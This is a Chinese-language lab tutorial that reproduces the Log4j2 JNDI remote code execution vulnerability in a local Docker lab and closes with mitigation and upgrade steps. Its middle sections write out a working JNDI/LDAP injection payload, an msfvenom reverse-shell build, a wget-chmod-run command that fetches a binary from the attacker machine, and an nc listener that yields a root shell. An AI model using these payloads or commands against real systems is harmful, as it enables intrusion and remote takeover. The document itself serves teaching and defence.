前言

 
2021年底,Log4j2任意代码执行漏洞被爆出,整个IT界沸沸扬扬。Apache Log4j2是一款开源的Java日志记录框架,提供方便的日志记录,通过定义每一条日志信息的级别,能够更加细致地控制日志生成过程,以便用于编写程序时进行调试,在项目上线后出现状况时也可根据日志记录来判断原因,被广泛大量用于业务系统开发环境中。

从Apache Log4j2漏洞影响面查询的统计来看,该漏洞影响多达数万个开源软件,涉及相关版本软件包更是达到了数十万个。经验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等众多组件与大型应用均受影响,该漏洞无需授权即可远程代码执行,一旦被攻击者利用会造成严重后果,影响范围覆盖各行各业,危害极其严重。而本次漏洞的触发方式简单,利用成本极低,可以说是一场Java生态的“浩劫”。

本次实验将对Log4j2漏洞进行讲解,并通过复现的方式展现其原理和利用方法。
 

Log4j2简介

 
Apache Log4j2是对Log4j的升级,它比其前身Log4j 1.x提供了重大改进,并提供了Logback中可用的许多改进,同时修复了Logback架构中的一些问题。是目前最优秀的Java日志框架之一。

Log4j2是Apache的一个开源项目,通过使用Log4j2,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。
 

JDNI介绍

 
JNDI全称 Java Naming and Directory Interface。JNDI是Java平台的一个标准扩展,提供了一组接口、类和关于命名空间的概念。如同其它很多Java技术一样,JDNI是provider-based的技术,暴露了一个API和一个服务供应接口(SPI)。这意味着任何基于名字的技术都能通过JNDI而提供服务,只要JNDI支持这项技术。JNDI目前所支持的技术包括LDAP、CORBA Common Object Service(COS)名字服务、RMI、NDS、DNS、Windows注册表等等。很多J2EE技术,包括EJB都依靠JNDI来组织和定位实体。

JDNI通过绑定的概念将对象和名称联系起来。在一个文件系统中,文件名被绑定给文件。在DNS中,一个IP地址绑定一个URL。在目录服务中,一个对象名被绑定给一个对象实体。

JNDI中的一组绑定作为上下文来引用。每个上下文暴露的一组操作是一致的。例如,每个上下文提供了一个查找操作,返回指定名字的相应对象。每个上下文都提供了绑定和撤除绑定名字到某个对象的操作。JNDI使用通用的方式来暴露命名空间,即使用分层上下文以及使用相同命名语法的子上下文。可以简单的将LDAP理解为一个存储目录,里面有我们要的资源,而JNDI就是获取资源的一种途径。

在该漏洞利用过程中涉及到的JNDI中的API和代码流程等详细信息可以参考这篇博客:JNDI详细介绍
 

LDAP简介

 
目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,支持过滤功能。 LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。 目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。 目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功 能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。 LDAP目录服务是由目录数据库和一套访问协议组成的系统。 简单来说:LDAP是一个目录服务,可以通过目录路径查询到对应目录下的对象(文件)等。即其也是 JNDI的实现,通过名称(目录路径)查询到对象(目录下的文件)。
 

攻击原理

 
远程代码执行漏洞,是利用了Log4j2可以对日志中的 ${} 进行解析执行,来进行攻击的。程序开发、调试时,可能会对客户端传来的参数在日志中直接输出,用来监控、调试和查错等。如果此时客户端传来的参数含有“${}”,并有恶意代码,就会受到攻击。

一个简单的实现攻击的方式是:利用jndi访问ldap服务后,ldap服务返回了class攻击代码,被攻击的服务器执行了攻击代码。

在本次实验中,攻击具体实现方式和过程如下图所示,其中攻击者脚本程序和恶意Jar包下载服务可以都由攻击机运行和部署。

  • 攻击者首先发布一个RMI服务,此服务将绑定一个引用类型的RMI对象。在引用对象中指定一个远程的含有恶意代码的类。例如:包含 system.exit(1) 等类似的危险操作和恶意代码的下载地址。
  • 攻击者再发布另一个恶意代码下载服务,此服务可以下载所有含有恶意代码的类。
  • 攻击者利用Log4j2的漏洞注入RMI调用,例如:logger.info("日志信息 ${jndi:rmi://rmi-service:port/example}")。
  • 调用RMI后将获取到引用类型的RMI远程对象,该对象将就加载恶意代码并执行。

利用该漏洞进行攻击的具体代码运行过程可以参考:Log4j2漏洞代码分析
 

实验环境

 
宿主机:系统为Ubuntu 20.04,IP地址为192.168.151.129(使用docker在其中运行受害机镜像)

攻击机:系统为Kali,IP地址为192.168.151.139
 

初步攻击——运行任意命令

 

  1. 首先需要在宿主机安装docker

  2. 在宿主机上部署具有Java漏洞的docker

    # docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
    
  3. 启动docker

    # docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
    
  4. 进入docker命令行并启动服务

    # docker exec -it log4j_vuln_container /bin/bash
    # uname -a
    # /bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh
    
  5. 查看docker内服务是否启动成功

    • 由于该镜像里没有预先安装基本网络排查工具 net-tools ,所以首先安装net-tools

      # yum install net-tools
      
    • 安装完之后使用 netstat 命令查看当前docker内网络状态

      # netstat -nlpt
      
  6. 服务启动成功之后可以在Kali(攻击机)中访问该网页,地址栏中输入 http://宿主机IP:8080/webstudy/ 即可访问

  7. 为了部署恶意的JNDI服务,攻击机下载JNDIExploit-1.2-SNAPSHOT.jar,地址为: JNDIExploit-1.2-SNAPSHOT.jar下载地址

  8. 在攻击机上部署恶意的JNDI服务

    # java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 攻击机IP -p 服务端口
    
  9. 在攻击机上打开burpsuite,使用内置浏览器访问宿主机上的网页

  10. 点击网页中的 hit me 之后,可以在HTTP history中看到刚刚访问网页的GET请求

  11. 接下来需要将这个GET请求转换为POST请求并重复发送

    • 首先在GET请求具体内容界面空白处右键,选择 Send to Repeater ,将GET请求复制到burpsuite的Repeater中

    • 转到Repeater标签页,可以看到请求内容已经被复制过去了

    • 由于burp suite内置了转变请求类型的功能,在GET请求具体内容空白处右键选择 Change request method 即可将GET请求转变为POST请求

    • 转变之后

  12. 接下来在上面转换生成的POST请求中给添加恶意内容,利用上述log4j2中由于 ${} 格式机制产生的漏洞进行攻击

    • Payload的格式为 ${jndi:ldap://攻击机(运行了恶意ldap服务)的IP:ldap服务端口(上文设置的是1389)/Basic/Command/Base64/base64命令} 。注意到payload里是不能直接写入命令本身的字符串的,所以需要先把想要执行的命令转换为base64加密之后再写入payload。这里先以一个简单的命令 echo yyy > /tmp/hustcse 为例,它的功能是先在宿主机 /tmp 目录中新建一个名为 hustcse 的文件,并将字符串yyy写入其中。使用Kali自带的加密功能将上述命令加密为base64编码。

    • 加密结果是 ZWNobyB5eXkgPiAvdG1wL2h1c3Rjc2UK ,因此将其填入上面的payload中。回到burpsuite中,将上述payload参数填完之后写入POST请求。

  13. 发送构造好之后的恶意POST请求

    • 在发送前先在宿主机上运行的docker里检查一下 /tmp 目录下没有攻击机要创建的文件

    • 然后在攻击机的burpsuite中点击 send 按钮发送刚刚构造的恶意POST请求

    • 此时可以看到受害机发来了Response,内容是该镜像作者设置的提示语句,看到这里大致能猜到攻击成功

    • 为了进一步验证,打开刚刚在攻击机上部署的恶意ldap服务的终端,可以看到有了回应,表明宿主机向这个恶意ldap服务发出了一个请求,其中包含了上面构建的payload,并且payload中的base64编码的命令也被成功解析成了我们预期要设置的命令,然后攻击机中的http服务向受害机提供了一个恶意的java类

    • 接下来进行最后的确定,进入宿主机的运行的docker,查看/tmp目录下的文件,发现了创建的名为“hustcse”的文件,并且其具体的内容也是设置的字符串“yyy”。证明成功在受害机上运行了攻击者自定义的命令。


       

进一步攻击——获得shell

 
当然,攻击者肯定不满足于每次构建一个payload并发出请求,控制受害机最好的方法是反弹一个shell(shell reverse),接下来就进一步地将受害机的shell反弹到攻击机中

  1. 首先在攻击机上使用metasploit工具创建一个基于TCP连接的64位linux系统的shell reverse的二进制文件,并输出到 reverse.elf 二进制文件中

    # msfvenom -p linux/x64/shell_reverse_tcp LHOST=(攻击机IP地址) LPORT=(攻击机监听反弹shell的端口) -f elf -o ./reverse.elf
    
  2. 接下来需要用上文中提到的方式使得受害机从攻击机上下载到这个刚刚创建的二进制文件 reverse.elf ,接着给予其权限并运行

    • 因此需要向payload中写入的命令为

      wget http://(攻击者IP)/reverse.elf && chmod +x reverse.elf && ./reverse.elf
      
    • 依然是使用上面的方法将上述命令转化为base64编码

    • 然后将加密之后的命令填入到burpsuite中的POST请求里,构造恶意请求

  3. 在发送恶意请求之前需要注意,攻击机除了需要一直运行上文中的恶意ldap服务,还需要打开 80 端口运行一个http服务让受害机能够从攻击机中下载到reverse.elf文件。启动http服务的方式是在 reverse.elf 文件所在目录下执行下述命令

    # sudo python -m SimpleHTTPServer 80
    
  4. 此时可以在攻击机上访问自己的ip地址检验是否开启成功

  5. 为了能够监听到反弹的shell,攻击机还需要开一个 443 端口监听

    # sudo nc -vnlp 443
    
  6. 这下 万事俱备,只欠东风 了,在上述工作都做完之后,理论上只需要将刚刚构造的恶意POST请求发送给受害机即可完成攻击并在攻击机中监听到反弹的shell

    • 在burpsuite中点击 send 按钮

    • 发送之后可以在攻击机运行恶意ldap服务的终端中看到相关提示信息

    • 然而查看 80 端口的http服务却没看到受害机从攻击机中下载 reverse.elf 文件的提示信息

    • 并且监听端口也没有获得反弹的shell。去受害机的目录下检查之后发现也根本没有下载到 reverse.elf 文件。这是为什么呢?结合之前该docker镜像中连 net-tools 都没有安装的经历,怀疑是这个镜像中根本没有安装 wget ,并且可以到宿主机中证明确实如此,所以执行以下命令在受害机中安装 wget

      # yum install wget
      
  7. 回到攻击机再次发送恶意POST请求

    • 这次依然可以在攻击机运行恶意ldap服务的终端中看到一则新的相关提示信息

    • 但是和上次不一样的是,这次可以看到受害机成功从攻击机中下载了 reverse.elf 文件

    • 并且可以在受害机中看到下载了reverse.elf文件

    • 最重要的是,攻击机的监听端口成功获得了受害机反弹的shell,并且可以以root身份运行任何命令

至此攻击成功!
 

修复漏洞

 

  1. 临时修复

    1. 方式1

      • 修改启动脚本或命令,添加“-Dlog4j2.formatMsgNoLookups=true ” 启动参数和参数值(不包括引号)
      • 使用修改后的脚本或命令重启服务
    2. 方式2

      • 在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true
      • 也可以通命令行参数指定:java -Dlog4j.configurationFile=../config/log4j2.component.properties
    3. 方式3

      • 将系统环境变量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true
  2. 研发源码级修复方案

    1. 通过版本覆盖,将项目依赖的Log4j2升级到最新版本

      • 在项目主pom.xml中引入Log4j2的最新版本进行版本覆盖
      • 代码级别验证
      • 利用 Idea 插件 maven helper 进行验证
      • 查看打包后的 jar 文件进行验证
    2. 将项目中的 Log4j2 依赖排除

      • 利用 Maven Helper 插件搜索出,依赖关系,在引入依赖的节点直接将 Log4j2 的引入排除掉即可
  3. 第三方应用服务修复

    • 此次漏洞受影响的范围还是非常广泛的,包括一些常用的中间件、数据库,如果: ES、Kafka等;
    • 这些第三方的应用服务,修复起来是比较棘手的,短时间内在官方没有发布安全版本的情况下,只能临时通过替换应用目录中的jar文件的方式进行修复;
    • 可以去官方的snapshot库下载最新的 jar 文件,对第三方服务进行替换操作;
    • 注意做好文件备份工作,有的服务可能会出现启动失败的情况